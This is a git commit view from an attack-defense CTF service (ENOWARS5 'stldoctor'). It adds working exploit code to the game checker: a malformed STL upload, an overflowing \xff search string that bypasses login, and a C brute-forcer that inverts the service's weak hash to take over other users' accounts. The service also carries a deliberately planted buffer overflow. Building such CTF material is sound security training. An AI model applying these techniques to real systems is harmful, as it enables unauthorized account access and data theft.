enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit 8057ab1167b3c0c19f8212c86c7a849ca3997d47
parent 002a422e321971d2c6d4c54ffe40288252299cf8
Author: Louis Burda <quent.burda@gmail.com>
Date:   Thu, 27 May 2021 21:58:17 +0200

bumped enochecker and implemented exploits with minor tweaks to source

Diffstat:
Mchecker/.gitignore | 2++
Mchecker/Dockerfile | 25+++++++++++++++++--------
Mchecker/src/checker.py | 189++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------------------
Mchecker/src/requirements.txt | 7++++---
Achecker/src/revhash/.gitignore | 2++
Achecker/src/revhash/Makefile | 11+++++++++++
Achecker/src/revhash/main.c | 80+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mchecker/test.sh | 23++++++++++++++---------
Mservice/src/main.c | 28+++++++++++++++++++++-------
Mservice/src/util.c | 4++--
Mservice/tests/test.sh | 2+-
11 files changed, 288 insertions(+), 85 deletions(-)

diff --git a/checker/.gitignore b/checker/.gitignore @@ -1 +1,3 @@ data/ +venv/ +.data/ diff --git a/checker/Dockerfile b/checker/Dockerfile @@ -1,16 +1,25 @@ -FROM python:3.9 +FROM python:3.9-buster -# Create user +# package build-essential already installed.. + +# add checker user RUN useradd -ms /bin/bash -u 1000 checker -USER checker +# fix pycurses terminfo warnings +ENV TERM=linux +ENV TERMINFO=/etc/terminfo + +# copy files +COPY ./src/ /checker/ WORKDIR /checker +RUN chown checker -R /checker -# Install all required dependencies for the checker. -COPY ./src/requirements.txt /checker/requirements.txt -RUN pip3 install -r requirements.txt +# install deps +USER checker +RUN python3 -m pip install --no-warn-script-location -r requirements.txt -# Copy all files into the container. -COPY ./src/ /checker/ +# build extras +ENV REVHASH_PATH=/checker/revhash/revhash +RUN cd /checker/revhash && make ENTRYPOINT [ "/home/checker/.local/bin/gunicorn", "-c", "gunicorn.conf.py", "checker:app" ] diff --git a/checker/src/checker.py b/checker/src/checker.py @@ -1,60 +1,76 @@ #!/usr/bin/env python3 from enochecker import BaseChecker, BrokenServiceException, EnoException, run from enochecker.utils import SimpleSocket, assert_equals, assert_in -import random, string, struct, logging, selectors, time, socket +import os, random, string, struct, subprocess, logging, selectors, time, socket import numpy as np logging.getLogger("faker").setLevel(logging.WARNING) logging.getLogger("pwnlib").setLevel(logging.WARNING) +logging.getLogger("_curses").setLevel(logging.CRITICAL) from faker import Faker +evil_file = b""" +solid test\xff +facet normal 0 0 1.0 + outer loop + vertex 1 0 0 + vertex 1 1 0 + vertex 0 1 0 + endloop + endfacet +endsolid +""" + def ensure_bytes(v): if type(v) == bytes: return v elif type(v) == str: - return v.encode("latin-1") + return v.encode() else: raise BrokenServiceException("Tried to pass non str/bytes to bytes arg") class STLDoctorChecker(BaseChecker): + service_name = "stldoctor" + port = 9090 + flag_variants = 2 noise_variants = 2 havoc_variants = 4 - service_name = "stldoctor" - port = 9000 + exploit_variants = 2 - debuglog = True + prompt = b"$ " def login_user(self, conn, password): self.debug("Sending command to login.") - self.write(conn, f"login\n{password}\n") - conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in") + conn.write(f"login\n{password}\n") + conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in") def write(self, conn, buf): - if self.debuglog: - print("SEND: " + str(ensure_bytes(buf))) + self.debug("SEND: " + str(ensure_bytes(buf))) conn.send(ensure_bytes(buf)) def fakeid(self): fake = Faker(["en_US"]) allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!" - return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr += "".join([random.choice(allowed) for i in range(5)]) + return idstr def havocid(self): idlen = random.randint(10, 60) return "".join([chr(random.randint(32, 127)) for i in range(idlen)]) def do_auth(self, conn, authstr): - self.write(conn, f"auth {authstr}\n") - resp = conn.recvuntil("$") + conn.write(f"auth {authstr}\n") + resp = conn.recvuntil(self.prompt) authstr = ensure_bytes(authstr) - assert_in(b"Success!", resp, f"Login with pass {authstr} failed!"); + assert_in(b"Success!", resp, f"Login with pass {authstr} failed"); def check_listed(self, conn, modelid): modelid = ensure_bytes(modelid) - self.write(conn, "list\n") - resp = conn.recvuntil("$") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) assert_in(modelid, resp, f"Uploaded model is missing from list command") def genfile_ascii(self, solidname): @@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker): else: raise EnoException("Invalid file type supplied"); - def putfile(self, conn, modelname, solidname, filetype): + def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None): solidname = ensure_bytes(solidname) modelname = ensure_bytes(modelname) # Generate file contents - stlfile = self.genfile(filetype = filetype, solidname = solidname) + if stlfile is None: + stlfile = self.genfile(filetype, solidname) # Upload file self.debug("Sending command to submit file") - self.write(conn, "upload\n") - self.write(conn, f"{len(stlfile)}\n") - self.write(conn, stlfile) - self.write(conn, modelname + b"\n") + conn.write("upload\n") + conn.write(f"{len(stlfile)}\n") + conn.write(stlfile) + conn.write(modelname + b"\n") # Parse ID - print(conn.recvuntil("with ID ")) + self.debug(conn.recvuntil("with ID ")) modelid = conn.recvuntil(b"!")[:-1] - if modelid == b"": + if modelid == "": raise BrokenServiceException("Unable to upload file!") - self.debug(f"Got ID {modelid}") - - conn.recvuntil(b"$") + self.debug(f"Uploaded file with {modelid}") - if self.debuglog: - print(f"PUT FILE: {modelid}") + conn.recvuntil(self.prompt) return stlfile, modelid - def getfile(self, conn, modelname): + def getfile(self, conn, modelname=None, download=True): modelname = ensure_bytes(modelname) self.debug(f"Sending command to retrieve file with name {modelname}") - self.write(conn, "search\n") - self.write(conn, modelname + b"\n") - self.write(conn, "0\n") # first result - self.write(conn, "y\n") # yes download - - resp = conn.recvuntil(b"Here you go.. (") - print(resp) - try: - size = int(conn.recvuntil(b"B)\n")[:-3]) - except: - print("GOT INSTEAD:", conn.recvall(timeout=0)) - raise BrokenServiceException("Returned file content size for download is not a valid integer") - - print("FILE SIZE:", size) - contents = conn.recvn(size) - if self.debuglog: - print("GOT FILE:\n" + str(contents)) - - conn.recvuntil("$") # clean up rest - return resp + contents + conn.write("search\n") + conn.write(modelname + b"\n") + conn.write("0\n") # first result + conn.write("y\n" if download else "\n") + + resp = conn.recvuntil("==================") + if download: + resp += conn.recvuntil(b"Here you go.. (") + try: + size = int(conn.recvuntil(b"B)\n")[:-3]) + except: + raise BrokenServiceException("Returned file content size for download is not a valid integer") + + self.debug(f"Download size: {size}") + contents = conn.recvn(size) + self.debug("File contents:\n" + str(contents)) + resp += contents + + conn.recvuntil(self.prompt) + return resp def check_getfile(self, conn, modelname, solidname, contents, modelid = None): resp = self.getfile(conn, modelname = modelname) @@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker): self.check_listed(conn, modelid) self.closeconn(conn) + def reverse_hash(self, hashstr): + return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1] + def openconn(self): import pwnlib.tubes.remote self.debug(f"Connecting to service at {self.address}:{self.port}") conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout) - resp = conn.recvuntil("$") # ignore welcome - if self.debuglog: - print("WELCOME:",resp) + resp = conn.recvuntil(self.prompt) return conn def closeconn(self, conn): self.debug("Sending exit command") - self.write(conn, "exit\n") + conn.write("exit\n") conn.close() def putflag(self): # type: () -> None @@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker): def exploit(self): # type: () -> None if self.variant_id == 0: - pass + name = self.fakeid() + + conn = self.openconn() + resp,mid = self.putfile(conn, name, name, stlfile=evil_file) + self.debug(f"Evil file: {mid}") + self.closeconn(conn) + + conn = self.openconn() + resp = self.getfile(conn, name, download=False) + self.debug(str(resp)) + conn.write("search last\n") + filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l] + + found = None + for i in range(len(filelist)): + self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1]) + conn.write(filelist[i][0] + b"\ny\n") + fileinfo = conn.recvuntil(self.prompt) + self.debug("File contents:\n" + fileinfo.decode("latin1")) + found = self.search_flag_bytes(fileinfo) + if found is not None or i == len(filelist) - 1: + break + self.getfile(conn, name, download=False) + conn.write("search last\n") + conn.recvuntil("?") + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 1 failed") + return found elif self.variant_id == 1: - pass + conn = self.openconn() + conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") + conn.recvuntil(self.prompt) + conn.write("auth\n") + assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] + self.closeconn(conn) + + conn = self.openconn() + found = None + for u in users: + self.debug(f"Logging in as user with id {u}") + user = self.reverse_hash(u.decode()) + if user == b"": + raise BrokenServiceException("Failed to find hash preimage") + self.debug(f"Hash preimage: {user}") + conn.write(b"auth " + user + b"\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + if b"Welcome back" not in resp: + raise BrokenServiceException("Revhash returned invalid preimage") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]) + found = self.search_flag_bytes(names) + if found is not None: + break + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 2 failed") + return found else: raise EnoException("Invalid variant_id provided") diff --git a/checker/src/requirements.txt b/checker/src/requirements.txt @@ -2,9 +2,10 @@ certifi==2020.12.5 chardet==4.0.0 click==7.1.2 dnspython==1.16.0 -enochecker==0.3.2 -enochecker-cli==0.6.0 -enochecker-core==0.8.1 +# enochecker==0.4.0 +git+https://github.com/enowars/enochecker.git@storeddict-bson +enochecker-cli==0.7.0 +enochecker-core==0.10.0 eventlet==0.30.2 Flask==1.1.2 greenlet==1.0.0 diff --git a/checker/src/revhash/.gitignore b/checker/src/revhash/.gitignore @@ -0,0 +1,2 @@ +vgcore* +revhash diff --git a/checker/src/revhash/Makefile b/checker/src/revhash/Makefile @@ -0,0 +1,11 @@ +CFLAGS = -g + +.PHONY: all clean + +all: revhash + +clean: + rm revhash + +revhash: main.c + $(CC) -o $@ $< $(CFLAGS) diff --git a/checker/src/revhash/main.c b/checker/src/revhash/main.c @@ -0,0 +1,80 @@ +#include <stdlib.h> +#include <string.h> +#include <stdio.h> +#include <stdint.h> + +#define MAXITER 256 * 100 +#define MAX(x,y) ((x) > (y) ? (x) : (y)) +#define MIN(x,y) ((x) < (y) ? (x) : (y)) + +int +main(int argc, const char **argv) +{ + const char *hashstr; + char c, hexbuf[3] = { 0 }, *end, *buf; + int i, k, v, maxlen, sum, *hash, sublen, aftersum; + + if (argc < 2) { + fprintf(stderr, "USAGE: revhash <hash>\n"); + return EXIT_FAILURE; + } + + hashstr = argv[1]; + if (strlen(hashstr) % 2 != 0) + goto invalid; + + /* alloc */ + maxlen = strlen(hashstr) / 2; + hash = calloc(maxlen, sizeof(int)); + buf = malloc(strlen(hashstr)); + if (!hash) return EXIT_FAILURE; + + /* convert hex to int array */ + for (i = 0; i < maxlen; i++) { + memcpy(hexbuf, hashstr + 2 * i, 2); + hash[i] = strtol(hexbuf, &end, 16); + if (end && *end) goto invalid; + } + + /* bruteforce srand seed */ + for (i = 0; i < MAXITER; i++) { + srand(i); + + /* reverse chars for given sum */ + for (sum = i, k = 0; k < maxlen && sum > 0; k++) { + buf[k] = (char) hash[k] ^ (rand() % 256); + if (buf[k] < 0) break; + sum -= buf[k]; + } + + /* repeat if too short */ + if (k && sum == 0) { + sublen = k; + for (k = sublen; k < maxlen; k++) { + buf[k] = (char) hash[k] ^ (rand() % 256); + if (buf[k] < 0 || buf[k] != buf[k % sublen]) break; + } + } + + if (k < maxlen) continue; + + /* output first part we know */ + printf("%.*s", sublen, buf); + + /* add rest of chars */ + while (sum > 0) { + c = MIN(127, sum); + printf("%c", c); + sum -= c; + } + + printf("\n"); + return EXIT_SUCCESS; + } + + return EXIT_FAILURE; + +invalid: + fprintf(stderr, "Invalid hash string!\n"); + return EXIT_FAILURE; +} diff --git a/checker/test.sh b/checker/test.sh @@ -2,6 +2,9 @@ ipstr="$1" +SCRIPTPATH="$(dirname $(readlink -f "$0"))" +export REVHASH_PATH="$SCRIPTPATH/src/revhash/revhash" + try() { cmd="$1" if [ $# -lt 2 ]; then @@ -10,16 +13,18 @@ try() { variant=$2 fi echo "Executing $cmd with variant $variant.." - output=$(enochecker_cli -A "http://localhost:8000/" -a "$ipstr" -v "$variant" -x 4000 "$cmd") - echo $output - [ -z "$(echo $output | grep OK)" ] && exit 1 + python3 src/checker.py -j run -v "$variant" -x 4000 \ + --flag ENOTESTFLAG123= --flag_regex 'ENO.*=' \ + ${@:3} "$cmd" | tee /tmp/checker-log + [ -z "$(cat /tmp/checker-log | grep OK)" ] && exit 1 } -if [ $# -lt 1 ]; then - echo "USAGE: test.sh <IP>" -elif [ $# -eq 3 ]; then - try "$2" "$3" +if [ $# -eq 2 ]; then + try $@ +elif [ "$1" == "test-exploits" ]; then + try exploit 0 + try exploit 1 else try putflag 0 try getflag 0 @@ -38,8 +43,8 @@ else try havoc 2 try havoc 3 -# try exploit 0 -# try exploit 1 + try exploit 0 + try exploit 1 fi exit 0 diff --git a/service/src/main.c b/service/src/main.c @@ -190,8 +190,6 @@ search_cmd(const char *arg) if (!(d = opendir(resultdir))) return; - printf("%s %s\n", resultdir, hash); - dirstart = telldir(d); for (i = 0; (de = readdir(d));) { name = de->d_name; @@ -266,8 +264,11 @@ cleanup: void list_cmd(const char *arg) { - DIR *d; struct dirent *de; + struct parseinfo info; + char *path; + FILE *f; + DIR *d; if (!loggedin) { fprintf(stderr, "Not logged in!\n"); @@ -278,7 +279,16 @@ list_cmd(const char *arg) while ((de = readdir(d))) { if (*de->d_name == '.' && !strchr(".", de->d_name[1])) { - printf("%s\n", de->d_name); + printf(">> %s\n", de->d_name); + path = aprintf("%s/%s/info", resultdir, de->d_name); + if ((f = fopen(path, "r"))) { + if (load_info(&info, f) != OK) + fprintf(stderr, "Failed to read saved file info!\n"); + else + print_info(&info); + fclose(f); + } + free(path); } } } @@ -288,6 +298,7 @@ auth_cmd(const char *arg) { const char *hash; char *ndir; + int ret; if (loggedin) { fprintf(stderr, "Already logged in!\n"); @@ -296,13 +307,16 @@ auth_cmd(const char *arg) hash = mhash(arg ? arg : ask("Enter a password: "), -1); ndir = aprintf("%s/.%s", resultdir, hash); - if (mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO) && errno != EEXIST) { + ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO); + if (!ret) { + printf("Success!\n"); + } else if (ret && errno == EEXIST) { + printf("Success!\nWelcome back!\n"); + } else { fprintf(stderr, "Auth failed!\n"); return; } - printf("Success!\n"); - free(resultdir); resultdir = ndir; loggedin = 1; diff --git a/service/src/util.c b/service/src/util.c @@ -52,11 +52,11 @@ mhash(const char *str, int len) /* VULN #2: BUFFER OVERFLOW */ /* see documentation/README.md for more details */ - if (len == -1) len = strlen(str) + 1; + if (len == -1) len = strlen(str); for (v = 0, i = 0; i < len; i++) v += str[i]; - srand(v); + srand(v); for (bp = buf, i = 0; i < MHASHLEN / 2; i++) bp += sprintf(bp, "%02x", str[i % len] ^ (rand() % 256)); diff --git a/service/tests/test.sh b/service/tests/test.sh @@ -43,7 +43,7 @@ checkleaks() { connect() { if [ "$RUNTYPE" == "remote" ]; then - nc localhost 9000 + nc localhost 9090 elif [ "$RUNTYPE" == "debug" ]; then checkleaks else